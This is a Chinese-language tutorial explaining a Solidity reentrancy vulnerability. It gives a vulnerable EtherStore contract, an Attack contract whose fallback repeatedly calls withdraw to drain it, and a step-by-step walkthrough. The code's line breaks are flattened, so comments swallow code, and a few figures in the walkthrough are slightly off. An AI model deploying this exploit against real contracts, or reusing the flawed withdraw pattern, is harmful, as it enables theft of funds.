重入漏洞
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;contract EtherStore {mapping(address => uint) public balances;function deposit() public payable {balances[msg.sender] += msg.value;}function withdraw() public {uint bal = balances[msg.sender];require(bal > 0);(bool sent, ) = msg.sender.call{value: bal}("");require(sent, "Failed to send Ether");balances[msg.sender] = 0;}// Helper function to check the balance of this contractfunction getBalance() public view returns (uint) {return address(this).balance;}
}contract Attack {EtherStore public etherStore;constructor(address _etherStoreAddress) {etherStore = EtherStore(_etherStoreAddress);}// Fallback is called when EtherStore sends Ether to this contract.fallback() external payable {if (address(etherStore).balance >= 1 ether) {etherStore.withdraw();}}function attack() external payable {require(msg.value >= 1 ether);etherStore.deposit{value: 1 ether}();etherStore.withdraw();}// Helper function to check the balance of this contractfunction getBalance() public view returns (uint) {return address(this).balance;}
}
这个被攻击的EtherStore
合约,可以用来deposit
和withdraw
以太币。withdraw
函数的基本逻辑是:
- 判断sender的余额是否大于0,是的话下一步;
- 使用call方法给
sender
发送合约里属于sender所有的余额,成功发送的话下一步; - 将合约中属于
sender
的余额值清零。
在攻击合约Attack
合约中,先看attack
函数,基本逻辑就是先调用deposit
存入1个以太,再调用withdraw取出。然而关键的代码在fallback
函数中,这个fallback
函数会先检测被攻击合约EtherStore
的余额,如果大于1个以太,就执行withdraw
。
知道这些概念后,就可以演示攻击过程了:
- 1.假设EtherStore合约中有10个ETH的余额;
- 2.攻击者点击attack函数,先执行deposit于是攻击者就存入了1个ETH,接下来执行withdraw,withdraw函数前两行成功通过,开始使用call函数发送属于sender(这里是Attack合约)的余额;
- 3.Attack合约收到余额后,根据我们上图所示,先看msg.data是否为空?是;receive是否存在?否;于是进入fallback函数;
- 4.fallback函数中,先检测EtherStore的余额,这里应当是10 - 1 = 9 Ether,通过,于是又执行withdraw;
- 5.withdraw函数先检测前两行,(注意,这是攻击过程的关键点!)属于sender的余额为不为0呢?答案是不为0,仍然能通过,因为上次执行withdraw函数,其实还停留在call发送Ether的那一步,下一步还没有执行,EtherStore中的balance值还没有更新,因此这里还是能通过,继续执行到下一个call发送余额,这样又把合约余额发送过去了;
- 6.Attack合约的fallback函数又开始重复withdraw,一直等到EtherStore合约中的余额为0,Attack合约的fallback函数不能通过余额检测的时候,整个提取过程才会停止。
- 7.执行完成,被攻击合约的所有10个ETH都被发送到了被攻击合约Attack上了。
这里的例子,Attack合约其实用receive函数也是可以的,而且合约里是可以有单独的receive函数,但是单独的fallback函数就会报warning。